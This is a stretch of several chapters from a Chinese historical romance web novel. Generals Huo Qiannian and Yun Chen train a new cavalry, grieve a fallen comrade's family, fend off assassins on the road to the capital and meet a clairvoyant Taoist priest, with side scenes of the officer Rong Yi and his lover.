万宸吓了一跳,大喝一声,赶忙勒马叫停,扭头察看的瞬间,刀已经抽了出来。
对方的马车显然也吓着了,马儿嘶鸣一声,停了下来。
见驾车的是个穿军服的狮威军将士,颜十九和万宸对视一眼,立马明白,那车上应该是比他们先半日出发的前狮威军军师,那个名叫知罗的女人。
知罗没有下马车,因为荒山野岭于礼不合,更不安全。
她隔着窗子道歉:“实在对不住,我只是想扔点东西,没想到这么巧,扔进了您车窗里,实在歉意,请您原谅。”
颜十九从身上拾起一颗已捂得有些发烂的杨梅,他眯了眯眼睛,目光犀利地望向对面的车窗。
车窗的帘子没有合,颜十九清楚地看见知罗脸色苍白黯淡,颊边有未干的泪痕。
嘴角轻轻弯起,颜十九露出招牌的阳光笑容,道:
“姑娘说笑了,我正想着天气热,连个解暑的果子都没有,结果就天降杨梅了。多谢姑娘赐果。”
知罗望着手中还没扔完的杨梅,这一滩未来得及送出,也没有人在乎的心意。
“公子不介意的话,我这里还有一些杨梅,一并给您吧。”
“多谢姑娘,梅子汤解暑消渴,眼下没有炉子煮汤,但放至茶饮亦可,我昨儿还和云将军一起喝了些,味道很好的。”
如颜十九猜测的那样,只是听到“云将军”三个字而已,知罗便忍不住再次落泪。
尽管她努力将身子往后靠,可颜十九还是瞧得一清二楚。
第250章 战之殇
在颜十九和知罗走后的半个月,幽州的战马到了。
十万匹屠苏战马浩浩荡荡从平原奔来,带来克敌制胜的希望。
狮威军将士们士气大振,迫不及待要拼一场。
固英城中,原本据守城池的黑鳞骑兵,似乎预见了自己将被按在地上摩擦的下场,竟直接放弃固英城,连夜撤退八百里。
黑鳞骑兵一撤退,反倒给了狮威军整训骑兵的空隙。
只是战马到了,愁人的事务也跟着来了。
一干接收战马、马棚安置、饲料饮马、整编登记、圈养分配......各种琐事接踵而来。
霍乾念摊开一张运马路程的费用清单,又打开一张养马训练骑兵的预算单,直接两眼一黑,差点昏过去。
云琛那边也好不到哪里去。
她和霍乾念商议过后,同意今后由她做十万骑兵军的将领。
谁知自请为将之后,第一件头疼的事情就来了。
二十万狮威军将士,十万匹战马,怎么分配?
各个都是勇胆好汉,立志要为国奋战。
一个个见了战马这种“新装备”,全都两眼放光,激动难耐,伤了谁的心都不行,怎么分?
那就实力说话吧。
云琛在全军发起小组赛制的比试较量,忙了一个多月,十万人倒是选出来了,可训马又成了一大难题。
云中君送给云琛的这十万匹屠苏战马,是西北游牧民族最喜欢的一种悍马。
该马性烈刚强,忠诚勇敢,不轻易认主。
驯马之人必须骑术高超,有十足的勇气和力量才能令马屈服。
云琛和霍乾念倒是驯马的高手,可也没法一一亲自驯过所有马。
二人全力将驯马技巧交给将士们,但还是闹得鸡飞狗跳。
一会儿有将士被马尥蹶子的,一会儿有被马甩进泥坑里的,还有对马粪犯风疹的......
好不容易,驯马勉强完成,战马被一一分配给将士们,每人各自负责自己马匹的饲养、照看等所有事宜。
为了区分战马,马屁股上全都印了编号,也分别由将士们取名字,那可叫一个五花八门——
好一点的,遇上个有文化的马主人,能得“乌雅”“寻风”“掣电”这种威风名字;
差一点的呢,马主人文化水平不高,起的名字也好听不到哪里去。
于是,云琛时常能在帐篷里一脸嫌弃,听见这样的喊话:
“罗东东!带上你的二壮去集合!把隔壁的翠花也带上!”
“寻风和妞妞还在吃草,马上就到!”
“谁拿我家卫国的马鞍子了??还给我!!”
对于云琛的鄙视,众将士非常不赞同:
“老大,你敢不敢说你最心爱的那匹‘水中龙’叫什么名字?”
云琛一下吃瘪,不想说话,荣易从旁大笑:
“我知道,登记造册的时候我看见了!叫‘狗小六’!”
“哈哈哈哈——”
挨了众将士一顿哄笑,云琛有些郁闷。
捶了荣易两拳头后,她独自一人走到营地不远处的草场,那正是如今狮威军驯马养马的地方。
她寻到一处矮坡坐下,望向眼前偌大的草场。
天苍蓝,草青绿,马儿们成群结队悠悠吃草,四下少闻人声,只有马的轻啼。
她刚坐定没一会儿,忽感觉有人靠近,轻拍向她的后背。
她扭头望去,竟是水中龙走了过来,正在用马头抵她,像是极通人性地表示安慰:
没事儿,这名字我喜欢得很!
她望进那双可以清晰看见自己低落神情的马眼睛,心里有点难受,一把抱住马头,将脸颊贴在马脖子上,轻轻叹口气:
“我给你写的‘荀小六’来着,但荣易给看成‘苟小六’了,所以现在你是‘狗小六’。我有点后悔叫你狗小六了,每叫你一次,我就想起狗哥和小六一次。我好想他们……”
她说着自己都快绕进去了,也不知是安慰水中龙,还是安慰她自己:
“无妨,狗哥一辈子都叫‘狗哥’,小六也一辈子都叫‘小六’……挺好的……”
她心中泛起许多思念。
狗哥和小六,这两个曾在她生命里那样鲜活出现过的人,如今都已渐渐褪色。
可这种色彩会淡去,却永远不会消失,每想起一次,就带着血,又鲜红一次。
她记着从前霍乾念教给她的法子,思念就痛痛快快地去思念,不必忍或劝。
这样静静抱着马儿站了许久许久之后,她听见一个马蹄声缓缓靠近。
来人翻身下马,熟悉的脚步声,让她不用抬头都知道是霍乾念。
霍乾念走到她身边,一句话也不说,只是沉默地将她拥进怀里。
犹豫片刻,他低声开口,带来一个噩耗:
“找到了其中三个孩子的尸身。”
他说完这句,立刻更加用力地箍住云琛,几乎与云琛想要挣脱的动作同时发生。
她动弹不得,视线从他肩头越过去,怔怔地看着狗小六,脑袋整个发空。
其中三个孩子?
尸身还是尸骨?
黑鳞骑兵总喜欢留下没肉的脑袋部分,其余都……
简直不敢去想象那残忍的画面,云琛努力将霍乾念那短短一句话拼凑起来,理解明白,随之一阵悲痛袭上心头,疼得她跟刀搅似的,埋
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头在霍乾念肩膀上痛哭出声。
“我知道,当初烟城陷落后,你一直在找荀戓的家人,我也在找。”霍乾念眉头不忍,“照霍帮探子们追踪查探的结果来看,当初烟城被攻陷后,四个老人跑不动,荀戓的妻弟腿疾走不了,当场就没了……刘氏没有办法,只能和妹妹带着五个孩子逃了,只可惜……”
只可惜,刘氏一个弱女子,怎能同时顾得了那么多孩子,有两个孩子连路都不会走,何况还要带着个痴傻的妹妹。
难以想象刘氏怎么一路躲避战乱,在荒芜陌生的道路上困苦奔走。
一天夜里,其中最大的三个孩子,为了让娘亲少些辛苦,趁刘氏睡着,偷偷去找吃食,恰被黑鳞骑兵的一支巡防队遇上……
越想越不敢想,云琛痛苦又愧疚,哭得连“我对不起狗哥,我没有照顾好他家人”这句话都说不出来。
霍乾念同样眼含泪花,郑重道:
“荀戓的遗孀刘氏,妻妹,还有剩下的两个孩子。我会一直派人去找,只要咱们活着一天,就不会放弃。只要她们去任何一个霍帮堂口求援、支银子,我们都能立马收到消息。”
这几句话让云琛心里又升起些希望,她平复些许,眼眶哭得红肿。
“阿念,我信你。只是……”
她望向远方,那里是狮威军与黑鳞骑兵的主战场方向。
只是如今她已做了威风凛凛的将军,却护不住兄弟荀戓的家人。
只是好生厉害的狮威军,怎么就护不下那许许多多的百姓。
丹蔻,妙妙,老奶奶和那些街坊们……
因为战争走失的、流离失所的、生不见人死不见尸的,岂止荀戓一家。
这孤儿寡母可怜惨痛的经历,不过是万千老百姓最平凡的缩影。
云琛虽一心为国效力,但她却不懂,这天下那么大,怎么就非要侵略和打仗呢?
君主博弈,帝王分赃。
坐在宫殿云尖上的权谋家们轻轻动一动手指,满口说着阴谋和谎言,人间便是一场腥风血雨。
可他们还嫌抢得不够多,骗得不够狠。
他们眼睁睁瞧着苍穹之下燃起战火,瞧着命如草芥的人们被携裹在王朝兴衰的洪流中,尸骨如白,奔向地狱;
瞧着绝望的父母捧着孩童的尸体,年迈者老无所依,孤儿们无稀粥可食……
他们知道,却仍盼着这国分崩离析。
当这国的旗帜终于倒下,民族的脊梁终于被折断,那千疮百孔的大地上,每一处硝烟与石坑,都填满无辜难民的尸身。
在这样的白骨累累之上,他们将**。
载歌载舞,建立新的王朝。
第251章 花花公子
在如今的楠国,狮威军是人数最多、武装最全、战斗力最强且平均年龄最年轻的一只集团军。
三十万好小子里,什么样的人都有。
有饱读诗书出口成章的,有大字不识几个、连国语都说不太利索,却有一身好武艺,敢和将领比天高的,还有能掐会算、据说能通鬼神的。
人家说三百六十行,行行出状元。
如果风流行当也算的话,狮威军这庞大的集团军里,整个三军九师十八卫,荣易无疑能得个“风流状元”。
这个出了名的花花公子,一路打仗行军,一路四处留情,到处都有他相好的小娘子。
别人的月饷除去日常开销,都是存着或寄回家。
荣易却是全花在女人身上,要金给金,要银给银,走到哪儿就风流到哪儿,给女人花钱绝不吝啬。
和他哥哥荣江老实巴交、性情传统不同,荣易自小就离经叛道,是个打架**的刺头,不守礼法的混不吝。
荣家见再这样下去,早晚得惹出大祸,只得扭着荣易去从军。
荣江不放心弟弟一个人,便也跟着同去照应。
兄弟二人皆吃苦耐劳,天资聪颖,很快便得到赏识,在军中一路高升,一直做到了中尉。
自跟了霍乾念和云琛之后,兄弟二人全力辅佐,仔细领命,更是跟着水涨船高,做了二级副将。
做了将领之后,荣易各方面都规矩了不少,就是寻花问柳的**病改不了。
这不,一到休沐,荣易就立刻脱下军装,换上公子常服,驱马来到离营地最近的江宁城。
在珠钗店里挑挑拣拣,选了两只昂贵的珠花包起来;
又去卤味铺子买了二两猪头肉,一壶烧酒;
最后在杂货铺子买了两卷上好的蜡烛。
荣易骑着马,穿过热闹的集市,来到城西偏僻的小巷,停在一处爬满嫣粉霞紫的番莲花的院墙前。
荣易跳下马,拍了拍马脖子,马儿立刻熟门熟路地从巷子里穿出去,直走到远处一条小溪旁才停下,开始自顾吃草。
感觉到身体某处躁动不已,荣易赶紧提着东西去叩门,手刚抬起来,还没来得及敲,就听旁边传来一道声音:
“这位公子找谁?找错门了吧?这院子里只有一个小寡妇,平时连门都不出的。”一个提着菜篮子的妇人边说话,边使劲打量荣易,继续道:
“这寡妇厉害着呢,嫁过来三天就克**相公,不到一年又熬**婆婆,是个命硬的煞星,可不敢招惹,你是不是走错了?”
荣易脸色微沉,颇为不耐烦道:
“‘寡妇’?她没有名字吗?”
看出荣易不是个善茬,妇人赶紧闭上嘴,提着菜篮子走远,走出去老远还偷偷回头张望,似乎生怕荣易跟上来找麻烦。
荣易才懒得搭理,他后撤两步,助跑而起,一跃翻过墙头,落定院中。
他拍拍身上沾到的花瓣,打量手里的烧酒。
见酒一滴未洒,他忍不住得意咧嘴,而后快步向屋子走去。
他轻手轻脚地穿过前屋,走进闺房,悄悄摸到一个正在绣案前专注做绣工的倩影背后,一把抱住那窈窕身段,吓得对方惊呼一声,差点将手里的绣剪扎出去。
荣易眼疾手快,一把握住剪刀刃放下,凑近那略施粉黛的脸颊上亲了一口,笑嘻嘻道:
“蔷薇,小心肝儿,我想你了。”
蔷薇被吓得心口怦怦直跳,嗔恼着去捶荣易:
“你这家伙,怎么不敲门进来,吓得我心都要跳出来啦!”
懒得提门口那一茬,荣易满心只想着一件事情。
“跳出来了?那我帮你塞回去。”他笑着将蔷薇打横抱起,不顾美人儿如何娇嗔踢打,径直将人抱进寝屋。
一番云雨过后,荣易缴械收兵,躺在榻上喘气,预备着稍微休整会儿,再往巫山去三趟。
蔷薇脸颊带着未褪绯红,靠在荣易年轻又健壮的胸膛,声音酥软:
“你好久都不来,我以为你把我忘了呢!”
“前些时候忙,顾不上休假。”荣易牵过蔷薇的手,轻啄一口,“你瞧见城里突然多了许多人不?”
蔷薇点头,“瞧见了,听说是从固英城救出来的老百姓,好几万人呢!”
“这就是了。”荣易说。<
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br>蔷薇恍然大悟,“我说你怎么上次走的时候神神秘秘,还这么久不来,原来是忙这么大的事去了吗?”
荣易笑而不语。
他虽浪荡,却十分知道分寸。
不管在哪里留情,都只留身子不留心,绝不会将任何军中事务透露出去。
眼下也是全城人都知道了营救固英城百姓之事,他才敢透露一二。
蔷薇一直都知道荣易是狮威军的,却没想到自己交往的男人竟还在军中担重任,“你在军中是什么职位,给我说说?”
“这个嘛……”荣易砸吧砸吧嘴,不知道该怎么说,“我就是一饲马骑马的,不是什么重要人物。”
“你这么好,应当做将军才对。”蔷薇肯定地说。
在蔷薇看来,荣易虽然看着放荡不羁,其实是个心细如发又周全的人,且生得一表人才,英俊潇洒,做将军也不为过。
荣易觉得好笑,却不嘲笑,只将手探进蔷薇怀里摸了一把,“将军可不好做。需得人中龙凤可当。我就算了,我只管好好跟着我们老大,听指挥就是。”
听出荣易语气里的骄傲,蔷薇不免好奇:“你说的‘老大’就是你们将军吗?是什么样的人?”
“不是,我们老大是‘老大’,将军是‘将军’。”荣易不知道怎么对一个小小女子解释,什么叫军中最高位的掌权者,什么又是令他们打心眼里愿意跟从的领导者。
如果非要说这二者有什么区别,大概可以比喻为云琛是娘,霍乾念是爹。
虽然跟着爹姓,但骨子里怎么都是和娘更亲,有一层牢不可破的感情在里面。
“至于你说的他们是‘什么样的人’……”
荣易脑子里浮现出霍乾念和云琛总关在帐子,时不时传出些肉麻笑声的样子,不知道该怎么形容,搜肠刮肚好一会儿,才道:
“他们是……是不拘泥于世俗的人,是极其要好,如胶似漆的那种。”
这次蔷薇听懂了,她惊讶地睁大眼睛:
“你们俩将军是龙阳断袖呀?”
荣易语塞,过了好一阵才说:
“对,他俩确实是。”
第252章 荣易真不懂
荣易觉得,霍乾念和云琛一定是龙阳断袖。
因为他从来没见过两个大男人可以那么腻歪。
每日卯时不到,天还未亮,霍乾念便起身了。他向来觉少,一日只睡两个时辰。
卯时一刻,霍乾念便洗漱完毕,清新爽利地走出帐子。
然后走到离主帅大帐只有十几丈远的云琛帐子里,将帐帘关得严严实实。
一直到辰时将近,帐子里才传来云琛睡醒的声音。
其实荣易很好奇,每次从霍乾念进云琛帐子,再到云琛醒来,中间相隔的那一个时辰,霍乾念都在干什么呢?
是坐在榻边注视着云琛入睡的样子?
还是上榻拥着云琛再睡个回笼觉?
荣易真不懂,“素觉”有什么好睡的?多没意思。两个大男人也那么讲究贞洁吗?
更令荣易不懂的是,霍乾念明明每日忙得要死,主帅大帐里日日都有堆积的小山一样的公务要处理。
他却偏偏有闲情逸致做些在荣易看来十分无趣的事情:
比如给刚睡醒还迷迷糊糊的云琛擦脸擦手,帮云琛梳头发,给云琛煮梅子汤……
还有最喜欢给云琛打洗澡水。
每日早饭,二人都要在一起吃,云琛只管狼吞虎咽,霍乾念只管笑眯眯看着她吃,时不时为她夹筷子菜。
终于磨叽够了,二人互相穿戴铠甲,各自去忙事务。
云琛如今负责统管骑兵,主要忙活骑兵的编制、操练、实训等一干事宜。
每日忙得灰头土脸,一身大汗。
而霍乾念作为狮威军主将统率,要忙的事情就更多了。
但是不管有多忙,只要没有战事和实训,霍乾念每日都要与云琛一起用午饭。
二人端着碗,坐在桌前,各自瞧着一旁的公务文书。
虽不说话,但气氛自在又亲密,且总是很有默契地同时露出眉头紧锁的表情。
到了下午,云琛习惯对着一本什么“无义秘籍上册”习武练功;
霍乾念便如钉在椅子上一般,一动不动地看一下午的公务。
最后等入夜时,云琛总是早早关帐熄灯,并命值守的亲兵看严帐子,不许任何人进来。
据荣易观察,云琛其实就是防霍乾念来着,无奈没有亲兵敢拦将军。
只要云琛一熄灯,霍乾念立马就跟那闻味寻来的猎犬似的,钻进云琛帐中,一直磨叽到入睡才出来。
好几次荣易特意伸长了耳朵去听,却没有那方面的动静,两个人好像只是凑在一起并头夜话。
这下荣易又不懂了,不应该就是奔着睡觉去的吗?
后来荣易留意了一下,似乎是云琛不肯。
因为他发现有好几次,霍乾念都是被踹出来的。
且每次离开时,霍乾念都一脸垂头丧气,委屈巴巴地回去继续批公务。
想到这里,荣易的思绪被蔷薇打断,她笑着说:
“军中还有这样的事?若将军带头龙阳,底下岂非要乱套啦?看来你们这二位将军也不过如此,我瞧还是你做将军更合适些。”
听了这话,荣易微微严肃起来:
“你不懂。公是公,私是私。我们这二位将军虽与世俗不同,但却**挑一,无人可比。他们心里没有脏污。
就拿我们主帅霍将军来说,他要操心的事实在太多,军务、朝政、霍帮,大到每次战事统率布局,小到城村战后重建、百姓如何饮水、布市粮食价格几何、孩童们有没有学上,有没有饭吃,他全都要过问。
有一次行军途中,遇到
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一个老爷爷带着孙子乞讨,霍将军客客气气地询问那祖孙二人来历,在知道其来自烟城后,他施舍给二人钱财衣裳,转头便严厉斥责了相关官员。
朝廷拨给狮威军的经费,总是下得慢,不够数,他便私掏腰包补足。每日那繁多公务和书信,我光看一眼都头疼,他却不急不躁,面不改色,统理得没有一件错漏。他仿佛天生就是做将军的——”
想到平时霍乾念那高高在上不怒自威的样子,荣易在心里又补充道:
不,他更像一个王。
一个心里装着天下的王。
只有在面对云琛时,他才像个有七情六欲的凡人。
蔷薇恍然大悟:“所以这就是你们更亲近‘老大’,而对霍将军‘敬’大于‘爱’的原因吧。”
这话一下说到了点子上,蔷薇总是这样善解人意。
荣易伸臂揽住她,道:
“霍帮很厉害,楠国首富。狮威军很厉害,几乎战无不胜。这些都太过厉害,以至于叫人觉得理所当然,好像这天地本该如此。
大家总是习惯性忘记,这些厉害的背后,那无数勇猛忠直之士的中心,其实都只是一个人:霍将军。
我们老大也很厉害,跟着他,你会热血沸腾,忘我去战斗,不怕流血不怕死。但有霍将军在,你便知道一定能赢能活,他是一切的主心骨。”
蔷薇似懂非懂,静静地趴在荣易胸口,听男人讲述着那个对她来说遥不可及的世界。
“我虽然不能完全懂你们,但我知道,保家卫国的都是好儿郎。”
“那可不。”荣易自豪地笑,而后翻身将蔷薇压倒在榻上,坏笑:
“想不想再见识一下真正的‘好儿郎’?”
蔷薇羞笑:“讨厌!”
第253章 不许打扰
楠国三十一年秋。
东南浩瀚平原之上,十万精锐重装骑兵横空出世。
这支骑兵军,战马披甲强悍,骑兵勇猛善战,且皆头带铁面盔。
远远望去,只见万重烈马奔腾而来,铁面盔之后嘶吼声咆哮如龙,直击魂胆。
甚至不必交战,只看一眼,便可震慑得敌人胆寒发竖。
黑鳞骑兵见势不妙,匆忙拔营撤退。
奈何狮威军这铁面骑兵“新官上任”,就等着歃血饮马,竟一路穷追不舍,连杀带打,惊得黑鳞骑兵拔腿飞逃,真恨战马只有四条腿。
铁面骑兵宛若铁塔飓风,横扫整个东南平原,一直将黑鳞骑兵逼退到东南绝境,几乎已将对方彻底打出楠国国境线。
狮威军酣战正兴,正欲乘胜追击,整军再发,彻底剿灭黑鳞骑兵。
却不料两道东宫令翩翩而至,以不可擅出国境线为由:
一则令狮威军休战,只驻守边境,防敌再犯;
二则,召霍乾念与云琛紧急回京述职,不得有误。
这东宫令一来,狮威军喜忧参半。
喜的是东南国土皆已收复,忧的是,若是此时不一鼓作气剿灭黑鳞骑兵,只怕会给对方喘息休整之机,还将有更猛烈的战役等在后面。
霍乾念也很头疼,行军打仗在外,最怕的就是朝廷指手画脚,一副“决胜千里之外”的架势,不知前线实际情况而纸上谈兵,害得前线疲累不堪。
可如今他手握三十万大军,加之霍帮富可敌国,一着不慎,就会有一个“不敬东宫,拥兵自重”的帽子扣上来。
无奈,霍乾念只得与云琛安排好一干军务,令荣江与荣易督军驻守边境,而后踏上回京都的路途。
霍乾念与云琛卸下铠甲,只常服轻装而行。
难得没有硝烟与战火,二人干脆连马都不骑了。
霍乾念将马车套在屠狼驹和水中龙身上,拉着云琛窝进车厢里使劲腻歪,做一对羡煞旁人的鸳鸯眷侣。
要不是顾忌马车前有车夫,后面还跟着两百个亲兵,霍乾念简直都想干点非常不君子的事情。
按霍乾念原本的计划,如今正值初秋,从东南边境向西往京都,一路景色优美,可以和云琛游山玩水,走走停停地回去。
一会儿在群山环抱清澈见底的湖里游个泳,一会儿在宛若巨斧劈开的逍遥峰之巅耍个剑。
路上若遇山涧,便泛舟湖上;若遇峡谷,便徒步穿过。
总之,天朗气清时骑马、饮梅酒,乌云细雨时相拥着午睡。
难得与云琛游玩,为此,霍乾念还特意选了避开战区的深山幽谷小路而行。
谁知还没走出二里路呢,一封东宫急令又来了,催促霍乾念与云琛务必八月十五前抵达京都。
算算时间,只有不到三十日。
没得办法,霍乾念和云琛只得老老实实从最近的官道走。
为了加快速度,二人马车也不坐了,各自骑马飞奔,连二百个亲兵都被远远甩在后面。
于是,一路只见两匹快马风驰电掣,两位年轻将军英姿勃勃,如风而过。
每日只睡两个时辰,其余时间几乎都在赶路。
一天七八天,霍乾念从马背下来的时候,感觉地面仍在起伏波动,路都有点走不稳。
云琛比他稍微好一点,毕竟她自小在马厩里混大,又做了那么多年护卫。
这夜,二人在一处官驿休息。
早就得到狮威将军与玄威少将要下榻官驿的消息,驿站里里外外打扫一新,备好了一干饮食和沐浴。
云琛已经七八天没有洗澡了,一吃过饭便钻进浴房,准备美美地洗个澡。
霍乾念则在门外为她留守护卫。
他背靠着浴房的门,面前摆着棋盘,独自对弈。
他捻起一颗黑子,准备布局,耳听得身后浴房里响起落下衣裳的声音。
水面轻轻拨动,应是云琛走进了浴桶,他心神一晃,直接将黑子下到了棋盘的格子中央。
他顿觉好笑,赶紧将黑子挪到点上,刚准备落一白子,却又听见哗哗水声不停响起,应是她在浴发了。
身后传来她舒服又惬意的一声轻轻旖旎,他直接手一颤,白子当啷啷地掉落在棋盘上。
他开始不停给自己做心里建设:
我是君子我是君子,不可轻薄琛儿,不可轻薄......
大概是心里劝得狠了,他不自觉念出了声。
浴房里,云琛好奇地问:
“阿念,你在念叨什么呢?”
他叹气:
“没啥,念叨我命好苦。”
完全不能理解一个年轻力壮独身多年的男人,成天对着自己未过门的夫人,那只能看不能吃的感觉有多痛苦,云琛有点莫名其妙,道:
“阿念,你再等我一刻钟,这几日骑马太多,磨得我腿有点痛,我泡一下。”
腿?
哪条腿?
腿哪里?
霍乾念禁不住浮想联翩,身上发起燥热,只气自己未来的夫人实在太纯白勾人了些。
他开始琢磨:反正都定亲了,干脆生米煮成熟饭?还是再坚持一下,待大婚之日更郑重些?
把玩着手里的棋子,他心猿意马,满脑子少儿不宜,耳中却微微一动,捕捉到一丝不太寻
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常的声音。
因霍乾念与云琛抵达官驿时已近入夜,这会驿站里里外外都入睡了,十分安静,只有夜风吹动四周小树林的声音。
每当有风来时,树叶被吹得哗哗作响,便会有密集的脚步借此快速行进。
风停,脚步声也停。
霍乾念不动声色地继续坐在桌前下棋,一只手却已悄悄握住棋盘下的隐月剑。
突然,一阵夜风骤然吹来,吹得门板咣咣作响。
几乎同时,一道寒刃递至霍乾念眼前。
他闪身避开,来人一剑落空,扎在他身旁的软垫上。
他顺势将一把棋子塞进来人口中,隐月剑一横一挑,无声地割断了来人的喉管。
冲浴房说句“琛儿起风了我去栓马”,他随手捞起一块布,缠绕剑身,只露两寸锋利剑尖在外面。
他提着那喉咙哗哗冒血、还没死透的刺客走出屋子,将屋门关严,扔下刺客,抵在门下做挡板,而后环视四周十几道黑衣身影,冷声不悦:
“我夫人在洗澡,不许打扰。”
“夫人?”一个黑衣刺客奇怪,“不是两个男人吗?”
霍乾念冷笑一声,随即扬剑飞身而去。
十几个黑衣刺客齐齐发动进攻。
其中四五人频频想往屋子里杀去,全被霍乾念打得连连后退,压根无法靠近门边。
刺客的刀击打在隐月剑的布身上,发出沉闷的声响,通通被掩盖在越来越急的风声里。
霍乾念飞身如游龙,剑尖上下翻飞不停,直扎刺客咽喉,令对方根本无法惨叫出声。
眼见不过顷刻,几乎所有同伴已倒在霍乾念狠厉剑下,最后一个刺客大吼着壮胆,挥刀向霍乾念冲过去。
霍乾念皱眉,神色极其不耐烦,轻功翻身而起,一剑扎在那人嘴上,低声厉色道:
“我说了,我夫人在洗澡——不!许!吵!”
此时,云琛在屋里问:
“阿念,外面什么声音?”
隔着呼呼的风声,霍乾念将剑尖从那刺客口中抽出,甩掉上面泛白的脑髓,淡定道:
“没事,马踩我脚了——”
霍乾念用剑尖拨弄地上的尸体,全都没有身份来历,看不出什么。
他勾唇嗤笑,心中已笃定猜测。
他将绳索拴在十几具尸首的脚上,叫屠狼驹拉去远处水坑扔了。
等云琛沐浴完出来的时候,到处已恢复如初,只见到霍乾念在黑漆漆的院子里迎风扫地。
云琛忍不住摇头啧啧:
“不愧是大少爷,扫地都和别人不一样,人家都是顺风扫,你偏迎风吃土,厉害厉害。”
第254章 鬼打墙
小小一场刺杀,很快默默揭过。
虽没有造成什么实质性伤害,但第二天一早,霍乾念还是决定改道行路。
云琛对此没有多问,她向来不质疑他的决定。
接着霍乾念在官驿留下信,叫后面追行的亲兵继续走官道即可,他则与云琛择山路而行,专挑偏僻难行、没有人烟的路走。
从东南向京都,地势渐高,山峰愈加陡峭。
二人一连走了好几日,风餐露宿,四下只见崇山峻岭,森林茂盛连绵,不见尽头。
云琛是个能吃苦的,但霍乾念可不想因为她能吃苦,就由得她苦。
这几日一直喝山泉,睡大树,她身上挨了不少虫咬,霍乾念心疼得不行,遥见前方绿山悬崖之上有一道观,便想与云琛前去借宿,休整两日再走。
谁知二人望着道观的方向,纵马行了大半日,却好似一点都没有靠近。
山峰还是那么高,道观还是那么远。
明明大半日足够走到山脚下,却跟一步都没动似的。
眼见天快黑,又得叫云琛在树上与蛇虫鼠蚁为伴睡一晚,霍乾念心里不愿意,不禁抱怨:
“不过是想去道观里吃点喝点,睡一觉,怎么一直走不过去?”
云琛也觉得奇怪,眯起眼睛,抬手用大拇指丈量那绿山悬崖的高度和距离,啧啧称奇:
“真奇了,看起来我们像是在原地踏步,一步都没走。”
“难不成是蜃景?”霍乾念曾在河面上见过城池投射的幻影,他猜测会不会是海市蜃楼。
云琛望向峭壁之上的道观,看起来年代久远,样式古朴灵秀。
从这里能清楚地看见观前有个巨大的香炉鼎,袅袅白烟从中升起,不像是蜃景的样子。
她提出个有点玄学的设想:
“该不会是鬼打墙吧?从前我听武馆的武师们说过,荒山野岭常有鬼魅遮人眼,叫人一直在原地打转,困死为止。”
霍乾念倒不太信这个,如果真要往玄了说,他更相信是术数。
有些隐世高人居于山中修行,为防止被打扰,有时会按奇门遁甲,利用山川草木设屏障,令普通人无法接近。
但有德行的修行者,只防止自己被打扰,不会扰乱山中生灵及百姓生息。
霍乾念想,世间之大,无奇不有。有些高人足不出户,便可知天下事。
大约是这道观里的修行者已洞察他与云琛想要叨扰的意图,以此表示婉拒?
他索性放弃想要留宿道观的念头,与云琛继续行路向京都。
谁知这次,走了不过一个时辰,二人转过一座矮山,视野突然开阔——
只见层层密密的苍松翠柏之中,一座巍峨山峰横于眼前,气势擎天,坐落于群山怀抱。
半山腰处,蜿蜒绵亘的石阶之上,是一座肃穆大气的道观,落日丹霞照耀在金顶上,颜色灵秀美极。
二人顿时看呆了。
云琛仰头望着此等美景,喃喃发问:
“刚才远远看见的是这吗?我记得只是一座绿山悬崖,
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一个小道观呀?”
霍乾念同样被眼前景象震撼,更加确定心中所想:
这观里一定住着有几分本事的隐世高人。
既然道观近在眼前,天色也已黄昏近晚,二人便将马拴好,只背上小包裹,开始沿石阶上山。
石阶看起来年岁已久,多年风吹雨打下来,许多地方都已坍塌,二人少不得互相搀扶才能前行。
遇到石阶特别狭窄,只能落个脚尖,又陡峭得几乎垂直的部分,霍乾念总要先借轻功跃上,再回身来拉云琛。
二人虽有好功夫在身,奈何在这高山峭壁之上根本发挥不出来,不免爬得心惊肉跳,天快黑时才登顶。
走过两座烟雾缭绕的巨大香炉,龙虎盘柱的大门之后,空旷的道观清净而立,隐约可见其中色彩斑斓的壁画,栩栩如生地画着天、地、风、雷、山、日、月、海。
因道观年月久远,壁画早已褪去鲜艳,变得朦胧而神秘。
道观前面的院子里,一中年道士正坐在桌前煮茶,对面正好是两只杯子。
霍乾念和云琛站定门外,拱手行礼,刚想表明来意,那道士却开口:
“二位将军进来吧——包裹就别拿进来了,那些玩意儿进不得观,在山下的时候都提醒过你了。”
后面三句话,那道士是冲着霍乾念说的。
霍乾念一愣,顿时面色微红,这才想起他那小包裹里,还带着一个更小的包裹。
正是离开幽州云府时,云岚送的那堆“玩意儿。”
第255章 观虚与天机
云琛的大妹妹云岚,娃都生了好几个,自然在夫妻之事上颇有经验。
当日离开幽州云府之际,云岚神神秘秘地将一个小包裹塞给云琛,还说包霍乾念见了会喜欢。
自那以后,云琛忘记了,霍乾念可是一直惦记着这一茬。
他趁云琛不注意的时候,去打开包裹看过。
倒也没有什么过分的东西。
不过是一件薄如蝉翼穿了跟没穿一样的纱衣,一件短的只有两个巴掌大小的肚兜,还有一条镂空织锦的藕色长裙。
以及一瓶吃了就能令人那啥啥啥时特别敏感又投入的“小药丸子”。
这次回京述职,按霍乾念原本计划,是要和云琛游山玩水回去的。
那自然要时时找地方过夜,时时遇到天时地利无人的地方。
所以收拾包裹的时候,只一个念头微动,霍乾念就干脆将那小包裹一并带上了。
却不想这道士十分能掐会算,不仅早就算到霍乾念和云琛二人会来借宿,甚至还知道霍乾念包裹里装着什么不可入道观清净之地的东西。
面对这样厉害的隐士高人,霍乾念没得辩驳,只得将包裹放在道观大门外头。
而云琛在知道那道士以屏障拦着他们,害得二人走了好多辛苦冤枉路,竟是为这原因的时候,又羞又恼,气得捶了霍乾念一下,简直没脸见人。
瞧着“两个男人打情骂俏”,那道士并不觉得奇怪,显然已知道云琛是女子。
二人在道士对面的茶桌坐下,霍乾念心服口服地说:
“道长术法高强,在下大开眼界,请问道长尊号?”
那道士作揖行礼,“贫道观虚,将军过誉了。”
云琛好奇地问:“观虚道长,您好像知道我们要来?知道我们是从军的,还知道我是女子吗?”
观虚笑笑:“都在你脸上写着呢,自然是知道的。”
云琛摸摸脸,“原来道长会算命,是这意思吗?”
“哈哈……”观虚道:“贫道与二位必有此一遇,此乃天定,贫道只是有幸提前知晓而已。”
霍乾念从旁点头说话:“原来如此。‘虚’乃一,乃万,天机不可改之,却可‘观’之。故为‘观虚’。”
观虚露出赞同又欣赏的神色,“道法自然。将军是有灵根的。”
云琛在旁边一个字也听不懂,行了一天的路,又爬了山,本就疲累。
再听着霍乾念和观虚猜谜语一样的对话,她更觉得昏昏欲睡。
她困得眼睛都睁不开了,下意识去找能睡觉的地方。
